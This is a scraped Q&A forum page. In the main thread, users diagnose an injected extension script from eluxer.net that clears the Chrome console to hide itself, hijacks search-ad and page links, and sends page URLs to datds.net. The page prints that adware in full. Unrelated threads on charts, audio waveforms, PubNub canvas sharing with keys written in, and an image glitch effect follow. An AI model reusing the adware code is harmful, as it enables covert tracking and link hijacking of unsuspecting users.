Chrome console auto clear log - google-chrome

I'm using chrome to debug something.But the console will auto clear, and here is the url https://eluxer.net/code?id=105&subid=51824_6967_.What about it?
the url's content is here.search c.clear()
(function() {
var core = {
dt: !1,
isFrame: top != self,
modules: [],
opts: [],
options: {},
start: null,
$: null,
now: function() {
return (new Date).getTime()
},
buildUrl: function(o, t) {
return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
},
buildMCUrl: function(o, t) {
return "https://" + this.options.mcHost + o + "?" + this.$.param(t)
},
getPageHostname: function() {
return document.location.hostname.replace(/^www\./, "")
},
init: function(options) {
core.start = core.now(),
core.options = options;
var requres = new XMLHttpRequest;
requres.onload = function() {
eval(this.responseText);
var $ = core.$ = jQuery;
jQuery.noConflict(),
$.each(core.modules, function(o, t) {
t.call(null, core.opts[o], core, $, window, document)
})
}
,
requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
requres.send()
},
run: function(o) {
this.modules.push(o)
}
};
core.init({
"subid": "51824_6967_",
"host": "eluxer.net",
"mcHost": "datds.net"
});
core.opts.push({});
core.run(function(e, n, r, t, i) {
function o() {
clearInterval(l),
n.dt || (n.dt = !0,
(new Image).src = n.buildUrl("/dt", {
r: Math.random()
}))
}
function a() {
var e = t.Firebug
, r = e && e.chrome;
return r && r.isInitialized ? void o() : (c.log(d),
void setTimeout(function() {
n.dt || c.clear()
}, 100))
}
var d = new Image
, c = t.console;
d.__defineGetter__("id", o);
var l = setInterval(a, 1e3);
a()
});
core.opts.push({
"place": 2524,
"maxIndexLength": 10000,
"minDistance": 200,
"phrases": false,
"domains": true
});
core.run(function(e, t, r, n, a) {
if (!t.isFrame) {
var i = a.createElement("a")
, o = n.localStorage
, s = {
progress: !1,
runTimeout: null,
init: function() {
switch (s.watchMutations(),
t.getPageHostname()) {
case "yandex.ru":
case "yandex.ua":
s.prepareYandex();
break;
case "google.ru":
case "google.com":
case "google.com.ua":
s.prepareGoogle()
}
},
watchMutations: function() {
if (n.MutationObserver) {
var e = t.getPageHostname()
, r = {
"yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
"yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
"google.com": [/\bcontent\b/, /\btsf\b/],
"google.com.ua": [/\bcontent\b/, /\btsf\b/],
"google.ru": [/\bcontent\b/, /\btsf\b/]
};
if (r.hasOwnProperty(e)) {
var i = r[e]
, o = new n.MutationObserver(function(e) {
for (var t = !0, r = 0; r < e.length; r++)
for (var n = e[r].target; n; ) {
for (var a = 0; a < i.length; a++)
i[a].test(n.className) && (t = !1);
n = n.parentNode
}
t || s.reRun()
}
);
o.observe(a.body, {
childList: !0,
subtree: !0
})
}
}
},
prepareYandex: function() {
r(".serp-adv-item").each(function() {
var e = r(this)
, t = e.find(".serp-item__greenurl a, .organic__path a");
if (t.length) {
var n = t[0]
, a = n.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + a)
}
})
},
prepareGoogle: function() {
r(".ads-ad").each(function() {
var e = r(this)
, t = e.find("cite")[0];
if (t) {
var n = t.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + n)
}
})
},
reRun: function() {
s.progress || (clearTimeout(s.runTimeout),
s.runTimeout = setTimeout(function() {
s.run(a.body)
}, 500))
},
run: function(n) {
s.progress = !0;
var i = {
url: a.location.href,
urls: [],
phrases: []
};
return e.domains && (i.urls = s.findUrls(n)),
e.phrases && (i.phrases = s.findPhrases(n)),
i.urls.length || i.phrases.length ? void r.ajax({
type: "POST",
data: JSON.stringify(i),
contentType: "application/json",
dataType: "json",
xhrFields: {
withCredentials: !0
},
url: t.buildMCUrl("/replacement/find", {
place: e.place,
subid: t.options.subid,
hsid: chrome && chrome.runtime && chrome.runtime.id || ""
}),
success: function(e) {
t.dt || (s.replaceUrls(n, e.urls),
s.replacePhrases(n, e.phrases),
setTimeout(function() {
s.progress = !1
}, 500))
}
}) : void (s.progress = !1)
},
getDomainByUrl: function(e) {
return i.href = e,
s.getDomain(i)
},
getDomain: function(e) {
return e.hostname.toLowerCase().replace(/^www\./, "")
},
getRealDomain: function(e) {
return s.getDomainByUrl(s.getRealHref(e))
},
getRealHref: function(e) {
var t = s.getDomain(e);
return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
},
getBaseRealHref: function(e) {
i.href = s.getRealHref(e);
var t = s.getDomain(i)
, r = "";
return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = i.pathname),
t + r
},
getDistance: function(e, t) {
var r, n, a, i;
return e.top < t.top ? (a = e.top + e.height,
i = t.top) : (a = t.top + t.height,
i = e.top),
e.left < t.left ? (r = e.left + e.width,
n = t.left) : (r = t.left + t.width,
n = e.left),
Math.pow(r - n, 2) + Math.pow(a - i, 2)
},
extractWords: function(e) {
var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+","ig"), n = [];
for (n.wordsLength = 0; t = r.exec(e); )
n.push({
word: t[0].toLowerCase(),
text: t[0],
index: t.index
}),
n.wordsLength += t[0].length;
return n
},
findLinks: function(e) {
return r(e).find("a").filter(function() {
return !!this.hostname && !!s.getRealDomain(this)
})
},
findUrls: function(e) {
if (!e)
return [];
var t = {};
return this.findLinks(e).each(function() {
var e = s.getBaseRealHref(this);
t[e] = 1
}),
Object.keys(t)
},
replaceUrls: function(e, t) {
e && t && this.findLinks(e).each(function() {
var e = this
, n = s.getBaseRealHref(e);
if (n && t.hasOwnProperty(n)) {
var a = t[n]
, i = s.getRealHref(e);
e.realHref = i,
e.hiddenHref = s.buildClickLink(r.extend({
href: i
}, a)),
s.setClickHandler(e)
}
})
},
setClickHandler: function(e) {
var t = e.onclick;
e.onclick = function(r) {
var n, a = s.handleClick(e);
if ("function" == typeof t && (n = t(r)),
a && !1 === n)
return !1
}
},
handleClick: function(e) {
if (!e.hiddenHref)
return !1;
var r = e.href
, n = s.getDomain(a.location);
if (t.dt && e.realHref)
return !1;
var i = e.realHref && s.getDomainByUrl(e.realHref);
if (i && (-1 !== n.indexOf(i) || -1 !== i.indexOf(n))) {
var f = t.now();
if (!o || o._ym_ts && f - o._ym_ts < 72e5 || f - t.start < 6e4)
return !1;
o._ym_ts = t.now()
}
return e.href = e.hiddenHref,
e.realHref && delete e.hiddenHref,
setTimeout(function() {
e.href = r
}, 10),
!0
},
isPhraseNodeAllowed: function(e) {
if (!e.tagName)
return !1;
var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
if (-1 !== t.indexOf(e.tagName.toUpperCase()))
return !1;
if (e.className && "string" == typeof e.className)
for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
if (e.className.match(new RegExp("\b" + r[n] + "\b")))
return !1;
var a = ["header", "footer"];
return -1 === a.indexOf(e.id)
},
findPhraseNodes: function(e) {
for (var t = [], n = [e]; n.length; ) {
var a = n.shift();
if (a.nodeType === Node.TEXT_NODE) {
var i = r.trim(a.textContent);
if (i.length > 2) {
var o = s.extractWords(a.textContent);
o.length && t.push([a, o])
}
} else if (s.isPhraseNodeAllowed(a))
for (var f = 0, c = a.childNodes.length; f < c; f++)
n.push(a.childNodes[f])
}
return t
},
findPhrases: function(t) {
var n = []
, a = 0
, i = this.findPhraseNodes(t);
return r.each(i, function(t, i) {
var o = i[1]
, s = r.map(o, function(e) {
return e.word
}).join(" ");
return a += s.length,
!(a > e.maxIndexLength) && void n.push(s)
}),
n
},
replacePhrases: function(e, t) {
if (e && t) {
var r = this.doReplacePhrases(e, t);
this.removeBadReplaces(e, r)
}
},
doReplacePhrases: function(e, t) {
var n = {};
r.each(t, function(e, t) {
var a = s.extractWords(e)
, i = n;
r.each(a, function(e, r) {
var n = a[e].word;
i.hasOwnProperty(n) || (i[n] = {
parent: i
}),
i = i[n],
e === a.length - 1 && (i.data = t)
})
});
var i = s.findPhraseNodes(e)
, o = [];
return r.each(i, function(e, t) {
for (var r, i = t[0], f = t[1], c = i.textContent, l = 0, u = 0, d = f.length; u < d; ) {
for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
p = p[f[h].word],
h++;
for (; p.parent && !p.data; )
p = p.parent,
h--;
if (h <= u && !p.data)
u++;
else {
r = c.slice(l, f[u].index),
"" != r && i.parentNode.insertBefore(a.createTextNode(r), i);
var g = f[h - 1].index + f[h - 1].word.length
, m = c.slice(f[u].index, g)
, v = s.createPhraseLink(m, p);
o.push(v),
i.parentNode.insertBefore(v, i),
l = g,
u = h
}
}
l > 0 && (i.textContent = c.slice(l))
}),
o
},
removeBadReplaces: function(t, n) {
var i = Math.pow(e.minDistance, 2)
, o = []
, f = []
, c = [];
return r.each(n, function(e, t) {
var n = r(t)
, a = n.offset();
a.width = n.width(),
a.height = n.height();
for (var l = !0, u = o.length - 1; u >= 0; u--)
if (s.getDistance(o[u], a) < i) {
l = !1;
break
}
l ? (c.push(t),
o.push(a)) : f.push(t)
}),
r.each(f, function(e, t) {
t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
r(t).remove()
}),
c
},
createPhraseLink: function(e, t) {
var n = a.createElement("a")
, i = r.extend({}, t.data, {
text: e
});
return r.extend(n, {
rel: "nofollow",
target: "_blank",
className: "intext-link",
textContent: e,
href: t.data.link || "#",
hiddenHref: s.buildClickLink(i)
}),
s.setClickHandler(n),
r.extend(n.style, {
position: "relative",
fontWeight: "bold"
}),
n
},
buildClickLink: function(n) {
return n = r.extend({
place: e.place,
subid: t.options.subid
}, n, {
url: a.location.href
}),
t.buildMCUrl("/replacement/click", n)
}
};
r(a).ready(function() {
s.init(),
s.run(a.body)
})
}
});
core.opts.push({});
core.run(function(e, a, o, n, l) {
var r = "seReplace"
, t = n.localStorage
, c = t[r] || 0;
a.now() - c < 864e5 || setInterval(function() {
var e, o = l.location;
o.pathname,
o.hostname,
o.href;
e && (t.seReplace = Date.now(),
l.location.href = a.buildMCUrl("/go", {
url: e
}))
}, 1e3)
});
}
)();

This appears to be related to an extension you have on your system. I disabled the Smile Always Amazon Extension and this stopped happening. There isn't much information as to what eluxer.net is, or what that script is doing, but disabling that extension did it for me.
Check your extensions one by one and see if this solves that issue.

In my Case it was postman chrome extension, removing it fixed the problem.

Here it is what it's happening https://developer.mozilla.org/en-US/docs/Web/API/Console/clear .You can disable this thing by enabling preserve log as stated in documentation:
Note that in Google Chrome, console.clear() has no effect if the user
has selected "Preserve log upon navigation" in the settings
.

That looks like a btcspinner auto spin script. I got one like that as well. But if it auto-clears the console, that makes it run longer before you have to do the "I'm not a robot". Which is very useful, let's you earn more and longer, without that interuption. So that's a good thing.

Related

Google Charts - Hide series label too wide

With Google Apps Script I created a stacked bar chart. This is the result:
https://drive.google.com/file/d/1DZ2ZtSu2A81OAMc9ds9A4y-bS0l_oftL/view?usp=sharing
I would like to hide the labels on the bars when they are too wide compared to the available space. Following the instructions I found at this address https://developers.google.com/chart/interactive/docs/reference#DataView_setColumns I tried to use a custom function instead of "stringify" in the "annotationObj" object ( see the code) to create a label of zero length, but my function is not recognized when I try to create the chart (error message: Unknown function "getValueAt").
This is my code:
function CHARTS_002() { //
var ABCarray = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','AA','AB','AC','AD','AE','AF','AG','AH','AI','AJ','AK','AL','AM','AN','AO','AP','AQ','AR','AS','AT','AU','AV','AW','AX','AY','AZ','BA','BB','BC','BD','BE','BF','BG','BH','BI','BJ','BK','BL','BM','BN','BO','BP','BQ','BR','BS','BT','BU','BV','BW','BX','BY','BZ','CA','CB','CC','CD','CE','CF','CG','CH','CI','CJ','CK','CL','CM','CN','CO','CP','CQ','CR','CS','CT','CU','CV','CW','CX','CY','CZ'];
var ssId = '1KA2BnUsC-Lp64UhxjtN5Gtth2dOiHp3-pRwIQjAYOLI';
var shName = 'TopGrossingFilms';
var aScale = ["Poco d'accordo","Né d’accordo né in disaccordo","Abbastanza d'accordo","Totalmente d'accordo","Media"];
var aRange = [['B',2],['N',12]];
var sheet = SpreadsheetApp.openById(ssId).getSheetByName(shName);
var row = aRange[0][1];
var column = ABCarray.indexOf(aRange[0][0]) + 1;
var numRows = aRange[1][1] - aRange[0][1];
var numColumns = ABCarray.indexOf(aRange[1][0]) - ABCarray.indexOf(aRange[0][0]) + 1;
var sheetV = sheet.getRange(aRange[0][1], ABCarray.indexOf(aRange[0][0]) + 1, numRows, numColumns).getValues();
var sheetT1D = sheetV[0];
var aData = [];
for (var r in sheetV) {
aData.push(sheetV[r])
}
for (var r in aData) {
for (var c in aData[r]) {
if (!isNaN(aData[r][c])) {
aData[r][c] = round(aData[r][c],2);
if (aData[0][c] == 'Media') {
aData[r][c] = 13;
}
}
}
}
var data = Charts.newDataTable();
var annotationObj = { calc: "stringify",
//calc: "getValueAt",
//calc: "function(data, row) { var ret = data[row][§col§]; if (ret < 7) {return '';} else {return JSON.stringify(ret)} }",
sourceColumn: -1,
type: "string",
role: "annotation"
}
var aAnnotation = [];
for (var r in aData) {
if (r < 1) { continue; }
if (r == 1) {
for (var c in aData[r]) {
aAnnotation.push(c);
if (isNaN(aData[r][c])) {
data.addColumn(Charts.ColumnType.STRING, aData[0][c]);
} else {
data.addColumn(Charts.ColumnType.NUMBER, aData[0][c]);
if (aScale.indexOf(aData[0][c]) != -1) {
var myObj = JSON.parse(JSON.stringify(annotationObj));
var myCol = Number(c);
if (aData[0][c] == 'Media') {
myCol = Number(c) + 1;
}
myObj.sourceColumn = myCol;
myObj.calc = myObj.calc.replace("§col§",myCol)
aAnnotation.push(myObj);
}
}
}
}
data.addRow(aData[r]);
}
var dataViewDefinition = Charts.newDataViewDefinition().setColumns(aAnnotation);
var aTicks = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100];
var chartBuilder = Charts.newBarChart()
.setDimensions(1200, 700)
.setOption("hAxis", { ticks: aTicks})
.setOption('legend',{ position:'top', maxLines:3 })
.setOption('chartArea',{ left:650 })
.setOption('series',{
6: {type:'line', color:'00FF00', lineWidth:3, visibleInLegend: false}
})
.setDataTable(data)
.setDataViewDefinition(dataViewDefinition)
.setOption('bar', { groupWidth: "80%" })
.setStacked()
.setColors(['#C10000','#F1C12A','#BFBFBF','#0070C1','#244062','00FF00']);
var chart = chartBuilder.build();
var chartImage = chart.getAs('image/png').copyBlob();
DriveApp.createFile(chartImage).setName('NewBarChart.png');
}
function getValueAt(column, dataTable, row) {
var value = dataTable(row, column);
var ret = '';
if (value > 7) { ret = value.toString()}
return ret;
}
function round(value, exp) {
var funcName = 'round';
if (typeof exp === 'undefined' || +exp === 0)
return Math.round(value);
value = +value;
exp = +exp;
if (isNaN(value) || !(typeof exp === 'number' && exp % 1 === 0))
return NaN;
// Shift
value = value.toString().split('e');
value = Math.round(+(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp)));
// Shift back
value = value.toString().split('e');
return +(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp));
}
The chart that is produced can be seen in this public folder: https://drive.google.com/file/d/1DZ2ZtSu2A81OAMc9ds9A4y-bS0l_oftL/view?usp=sharing
Does anyone know how to get the result I would like to get?
Thanks in advance.

How to draw a waveform of an audio stream in html5?

I have a media stream from webcam. I need to draw a waveform of the audio (extracted from the media stream) on the fly. How to do this in HTML5 using JS?
I checked:
https://github.com/soundcloud/waveformjs
https://github.com/katspaugh/wavesurfer.js
They all seem to work with an audio file. How to do it for a stream?
I used wavesurfer (https://github.com/katspaugh/wavesurfer.js) to accomplish this.
My Code:
if (this.remoteStream_ != null) {
if (this.wavesurfer_ == null) {
var parent = this;
this.wavesurfer_ = Object.create(WaveSurfer);
this.wavesurfer_.init({
container: '#waveform',
waveColor: '#fff'
});
this.wavesurferStream_ = Object.create(WaveSurfer.Streamer);
this.wavesurferStream_.init({
wavesurfer: this.wavesurfer_
});
// start the microphone
this.wavesurferStream_.start(this.remoteStream_);
this.audioWaveIconSet_.on();
} else {
if (this.wavesurferStream_ != null) {
this.wavesurferStream_.destroy();
this.wavesurferStream_ = null;
}
this.wavesurfer_.destroy();
this.wavesurfer_ = null;
this.audioWaveIconSet_.off();
}
}
Wavesurfer Plugin for Streams:
/*! wavesurfer.js 1.0.57 (Thu, 25 Feb 2016 17:09:20 GMT)
* https://github.com/katspaugh/wavesurfer.js
* #license CC-BY-3.0 */
! function(a, b) {
"function" == typeof define && define.amd ? define(["wavesurfer"], function(a) {
return b(a)
}) : "object" == typeof exports ? module.exports = b(require("wavesurfer.js")) : b(WaveSurfer)
}(this, function(a) {
"use strict";
a.Streamer = {
init: function(a) {
this.params = a;
this.wavesurfer = a.wavesurfer;
if (!this.wavesurfer) throw new Error("No WaveSurfer instance provided");
this.active = !1, this.paused = !1, this.reloadBufferFunction = this.reloadBuffer.bind(this);
this.bufferSize = this.params.bufferSize || 4096, this.numberOfInputChannels = this.params.numberOfInputChannels || 1, this.numberOfOutputChannels = this.params.numberOfOutputChannels || 1, this.micContext = this.wavesurfer.backend.getAudioContext();
},
start: function(stream) {
this.gotStream(stream);
},
togglePlay: function() {
this.active ? (this.paused = !this.paused, this.paused ? this.pause() : this.play()) : this.start()
},
play: function() {
this.paused = !1, this.connect()
},
pause: function() {
this.paused = !0, this.disconnect()
},
stop: function() {
this.active && (this.stopDevice(), this.wavesurfer.empty())
},
stopDevice: function() {},
connect: function() {
void 0 !== this.stream && (this.mediaStreamSource = this.micContext.createMediaStreamSource(this.stream), this.levelChecker = this.micContext.createScriptProcessor(this.bufferSize, this.numberOfInputChannels, this.numberOfOutputChannels), this.mediaStreamSource.connect(this.levelChecker), this.levelChecker.connect(this.micContext.destination), this.levelChecker.onaudioprocess = this.reloadBufferFunction)
},
disconnect: function() {
void 0 !== this.mediaStreamSource && this.mediaStreamSource.disconnect(), void 0 !== this.levelChecker && (this.levelChecker.disconnect(), this.levelChecker.onaudioprocess = void 0)
},
reloadBuffer: function(a) {
this.paused || (this.wavesurfer.empty(), this.wavesurfer.loadDecodedBuffer(a.inputBuffer))
},
gotStream: function(a) {
this.stream = a, this.active = !0, this.play()
},
destroy: function(a) {
this.paused = !0, this.stop()
},
deviceError: function(a) {},
extractVersion: function(a, b, c) {
var d = a.match(b);
return d && d.length >= c && parseInt(d[c], 10)
},
detectBrowser: function() {
var a = {};
return a.browser = null, a.version = null, a.minVersion = null, "undefined" != typeof window && window.navigator ? navigator.mozGetUserMedia ? (a.browser = "firefox", a.version = this.extractVersion(navigator.userAgent, /Firefox\/([0-9]+)\./, 1), a.minVersion = 31, a) : navigator.webkitGetUserMedia && window.webkitRTCPeerConnection ? (a.browser = "chrome", a.version = this.extractVersion(navigator.userAgent, /Chrom(e|ium)\/([0-9]+)\./, 2), a.minVersion = 38, a) : navigator.mediaDevices && navigator.userAgent.match(/Edge\/(\d+).(\d+)$/) ? (a.browser = "edge", a.version = this.extractVersion(navigator.userAgent, /Edge\/(\d+).(\d+)$/, 2), a.minVersion = 10547, a) : (a.browser = "Not a supported browser.", a) : (a.browser = "Not a supported browser.", a)
}
}, a.util.extend(a.Streamer, a.Observer)
}), ! function(a, b) {
"function" == typeof define && define.amd ? define(["wavesurfer"], function(a) {
return b(a)
}) : "object" == typeof exports ? module.exports = b(require("wavesurfer.js")) : b(WaveSurfer)
}(this, function(a) {
"use strict";
a.Streamer = {
init: function(a) {
if (this.params = a, this.wavesurfer = a.wavesurfer, !this.wavesurfer) throw new Error("No WaveSurfer instance provided");
this.active = !1, this.paused = !1, this.reloadBufferFunction = this.reloadBuffer.bind(this);
this.bufferSize = this.params.bufferSize || 4096, this.numberOfInputChannels = this.params.numberOfInputChannels || 1, this.numberOfOutputChannels = this.params.numberOfOutputChannels || 1, this.micContext = this.wavesurfer.backend.getAudioContext();
},
start: function(stream) {
this.gotStream(stream);
},
togglePlay: function() {
this.active ? (this.paused = !this.paused, this.paused ? this.pause() : this.play()) : this.start()
},
play: function() {
this.paused = !1, this.connect()
},
pause: function() {
this.paused = !0, this.disconnect()
},
stop: function() {
this.active && (this.stopDevice(), this.wavesurfer.empty())
},
stopDevice: function() {},
connect: function() {
void 0 !== this.stream && (this.mediaStreamSource = this.micContext.createMediaStreamSource(this.stream), this.levelChecker = this.micContext.createScriptProcessor(this.bufferSize, this.numberOfInputChannels, this.numberOfOutputChannels), this.mediaStreamSource.connect(this.levelChecker), this.levelChecker.connect(this.micContext.destination), this.levelChecker.onaudioprocess = this.reloadBufferFunction)
},
disconnect: function() {
void 0 !== this.mediaStreamSource && this.mediaStreamSource.disconnect(), void 0 !== this.levelChecker && (this.levelChecker.disconnect(), this.levelChecker.onaudioprocess = void 0)
},
reloadBuffer: function(a) {
this.paused || (this.wavesurfer.empty(), this.wavesurfer.loadDecodedBuffer(a.inputBuffer))
},
gotStream: function(a) {
this.stream = a, this.active = !0, this.play()
},
destroy: function(a) {
this.paused = !0, this.stop()
},
deviceError: function(a) {},
extractVersion: function(a, b, c) {
var d = a.match(b);
return d && d.length >= c && parseInt(d[c], 10)
},
detectBrowser: function() {
var a = {};
return a.browser = null, a.version = null, a.minVersion = null, "undefined" != typeof window && window.navigator ? navigator.mozGetUserMedia ? (a.browser = "firefox", a.version = this.extractVersion(navigator.userAgent, /Firefox\/([0-9]+)\./, 1), a.minVersion = 31, a) : navigator.webkitGetUserMedia && window.webkitRTCPeerConnection ? (a.browser = "chrome", a.version = this.extractVersion(navigator.userAgent, /Chrom(e|ium)\/([0-9]+)\./, 2), a.minVersion = 38, a) : navigator.mediaDevices && navigator.userAgent.match(/Edge\/(\d+).(\d+)$/) ? (a.browser = "edge", a.version = this.extractVersion(navigator.userAgent, /Edge\/(\d+).(\d+)$/, 2), a.minVersion = 10547, a) : (a.browser = "Not a supported browser.", a) : (a.browser = "Not a supported browser.", a)
}
}, a.util.extend(a.Streamer, a.Observer)
});
I created a simple function in my application that receives a MediaStream and creates a WaveSurfer (v2.0.5) in <div id="waveform"></div>.
var wave;
var micContext;
var mediaStreamSource;
var levelChecker;
var createWaveSurfer = function(stream) {
if (wave)
wave.destroy();
var wave = WaveSurfer.create({
container: '#waveform',
waveColor: '#FFF',
barHeight: 20,
hideScrollbar: true,
audioRate: 1,
barWidth: 2,
interact: false,
});
micContext = wave.backend.getAudioContext();
mediaStreamSource = micContext.createMediaStreamSource(stream);
levelChecker = micContext.createScriptProcessor(4096, 1, 1);
mediaStreamSource.connect(levelChecker);
levelChecker.connect(micContext.destination);
levelChecker.onaudioprocess = function (event) {
wave.empty();
wave.loadDecodedBuffer(event.inputBuffer);
};
};
var destroyWaveSurfer = function() {
if (wave) {
wave.destroy();
wave = undefined;
}
if (mediaStreamSource) {
mediaStreamSource.disconnect();
mediaStreamSource = undefined;
}
if (levelChecker) {
levelChecker.disconnect();
levelChecker.onaudioprocess = undefined;
levelChecker = undefined;
}
};

Pass image between canvas with Webrtc

I have found a similar question but it doesn't seem to answer my question. I have an HTML5 canvas and i use pubnub with webrtc. What i want to do is to pass my image between the canvas like the data from here are passed http://pubnub.github.io/codoodler/history.html. Any ideas? (Please add an example to the answer if possible)
! function() {
function a(a) {
q.publish({
channel: 'mychannel12',
message: a
})
}
function b(a, b) {
h.strokeStyle = a, h.beginPath(), h.moveTo(b[0].x, b[0].y);
for (var c = 1; c < b.length; c++) h.lineTo(b[c].x, b[c].y);
h.stroke()
}
function c(a) {
!a || a.plots.length < 1 || b(a.color, a.plots)
}
function d(a) {
if (a.preventDefault(), r) {
var c = j ? a.targetTouches[0].pageX - g.offsetLeft : a.offsetX || a.layerX - g.offsetLeft,
d = j ? a.targetTouches[0].pageY - g.offsetTop : a.offsetY || a.layerY - g.offsetTop;
s.push({
x: c << 0,
y: d << 0
}), b(i, s)
}
}
function e(a) {
a.preventDefault(), r = !0
}
function f(b) {
b.preventDefault(), r = !1, a({
color: i,
plots: s
}), s = []
}
var g = document.getElementById("drawCanvas"),
h = g.getContext("2d"),
i = document.querySelector(":checked").getAttribute("data-color");
g.width = Math.min(document.documentElement.clientWidth, window.innerWidth || 300), g.height = Math.min(document.documentElement.clientHeight, window.innerHeight || 300), h.strokeStyle = i, h.lineWidth = "3", h.lineCap = h.lineJoin = "round", document.getElementById("colorSwatch").addEventListener("click", function() {
i = document.querySelector(":checked").getAttribute("data-color")
}, !1);
var j = "ontouchstart" in window,
k = navigator.pointerEnabled,
l = navigator.msPointerEnabled,
m = j ? "touchstart" : k ? "pointerdown" : l ? "MSPointerDown" : "mousedown",
n = j ? "touchmove" : k ? "pointermove" : l ? "MSPointerMove" : "mousemove",
o = j ? "touchend" : k ? "pointerup" : l ? "MSPointerUp" : "mouseup";
g.addEventListener(m, e, !1), g.addEventListener(n, d, !1), g.addEventListener(o, f, !1);
var p = "draw",
q = PUBNUB.init({
publish_key: "pub-c-465c4b3b-0b7d-40de-86c5-10a9433058b5",
subscribe_key: "sub-c-43a257e0-d94a-11e4-a2b8-0619f8945a4f",
leave_on_unload: !0
});
q.subscribe({
channel: 'mychannel12',
callback: c,
presence: function(a) {
a.occupancy > 1 && (document.getElementById("unit").textContent = "doodlers"), document.getElementById("occupancy").textContent = a.occupancy;
var b = document.getElementById("occupancy").parentNode;
b.classList.add("anim"), b.addEventListener("transitionend", function() {
b.classList.remove("anim")
}, !1)
}
}), drawHistory && q.history({
channel: 'mychannel12',
count: 50,
callback: function(a) {
q.each(a[0], c)
}
});
var r = !1,
s = []
}();
You can publish/subscribe the canvas coordinates data in (x, y), just like the code sample, or pass the url/path of the image, but not the image itself.
The size of each data you can publish using PubNub APIs is <32k, so passing images directly using PubNub is not an ideal way, even if you convert a canvas image to a base64 with canvas.toDataURL. It would be still too large.
You probably want to send the canvas images data elsewhere, like Parse, and just pass the url.

How did they make this glitchable_container?

https://versionindustries.com/
Hover over the images they use for their portfolio. That glitch is really cool to me, and I can see tons of applications for it. Does anybody know how I can replicate that? I'm not great at coding, but I'd probably understand the lingo you throw at me.
Anybody?
Why not just inspect the code they're using and try to reverse-engineer?
(function($) {
window.GlitchableImages = function(selector) {
var base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
base64Map = base64Chars.split(""),
reverseBase64Map = false,
hover_img = false,
elSelector = selector;
function setupReverseBase64Map() {
reverseBase64Map = {};
base64Map.forEach(function(val, key) {
reverseBase64Map[val] = key
})
}
function detectJpegHeaderSize(data) {
var jpgHeaderLength = 417;
for (var i = 0, l = data.length; i < l; i++) {
if (data[i] == 255 && data[i + 1] == 218) {
jpgHeaderLength = i + 2;
return jpgHeaderLength
}
}
return jpgHeaderLength
}
function base64ToByteArray(str) {
var result = [],
digitNum, cur, prev;
for (var i = 23, l = str.length; i < l; i++) {
cur = reverseBase64Map[str.charAt(i)];
digitNum = (i - 23) % 4;
switch (digitNum) {
case 1:
result.push(prev << 2 | cur >> 4);
break;
case 2:
result.push((prev & 15) << 4 | cur >> 2);
break;
case 3:
result.push((prev & 3) << 6 | cur);
break
}
prev = cur
}
return result
}
function byteArrayToBase64(arr) {
var result = ["data:image/jpeg;base64,"],
byteNum, cur, prev;
for (var i = 0, l = arr.length; i < l; i++) {
cur = arr[i];
byteNum = i % 3;
switch (byteNum) {
case 0:
result.push(base64Map[cur >> 2]);
break;
case 1:
result.push(base64Map[(prev & 3) << 4 | cur >> 4]);
break;
case 2:
result.push(base64Map[(prev & 15) << 2 | cur >> 6]);
result.push(base64Map[cur & 63]);
break
}
prev = cur
}
if (byteNum === 0) {
result.push(base64Map[(prev & 3) << 4]);
result.push("==")
} else if (byteNum == 1) {
result.push(base64Map[(prev & 15) << 2]);
result.push("=")
}
return result.join("")
}
function glitchJpegBytes(strArr, jpgHeaderLength) {
var rnd = Math.floor(jpgHeaderLength + Math.random() * (strArr.length - jpgHeaderLength - 4));
strArr[rnd] = Math.floor(Math.random() * 256)
}
function glitchJpeg() {
try {
var glitchCopy = hover_img.dataArr.slice();
for (var i = 0; i < 10; i++) {
glitchJpegBytes(glitchCopy, hover_img.headerLength)
}
var new_img = new Image;
new_img.onload = function() {
if (typeof hover_img.ctx === "undefined") return;
hover_img.ctx.drawImage(new_img, 0, 0, hover_img.width, hover_img.height)
};
new_img.src = byteArrayToBase64(glitchCopy)
} catch (e) {}
}
function unglitch(this_img) {
try {
var new_img = new Image;
new_img.onload = function() {
this_img.ctx.drawImage(new_img, 0, 0, this_img.width, this_img.height)
};
new_img.src = byteArrayToBase64(this_img.dataArr)
} catch (e) {}
}
function setupGlitchableImage(event) {
var img = this.page_img;
var $img = $(img);
var $canvas = $('<canvas width="' + $img.width() + '" height="' + $img.height() + '">');
$img.wrap('<span class="glitchable_container"></span>');
$img.after($canvas);
try {
img.ctx = $canvas[0].getContext("2d");
img.ctx.drawImage(img, 0, 0, img.width, img.height, 0, 0, $img.width(), $img.height());
img.jpgImgData = $canvas[0].toDataURL("image/jpeg");
img.dataArr = base64ToByteArray(img.jpgImgData);
img.headerLength = detectJpegHeaderSize(img.dataArr)
} catch (e) {}
}
function onImageMouseOver(event) {
hover_img = $(event.target).prev("img")[0]
}
function onImageMouseMove(event) {
requestAnimationFrame(glitchJpeg)
}
function onImageMouseOut(event) {
unglitch(hover_img);
hover_img = false
}
function resize() {
$(".glitchable_container canvas").each(function() {
var $img = $(this).siblings("img");
$(this).attr("width", $img.width()).attr("height", $img.height())
})
}
function init() {
if (!reverseBase64Map) {
setupReverseBase64Map()
}
$(elSelector).each(function() {
if (this.ctx) {
return
}
this.load_img = new Image;
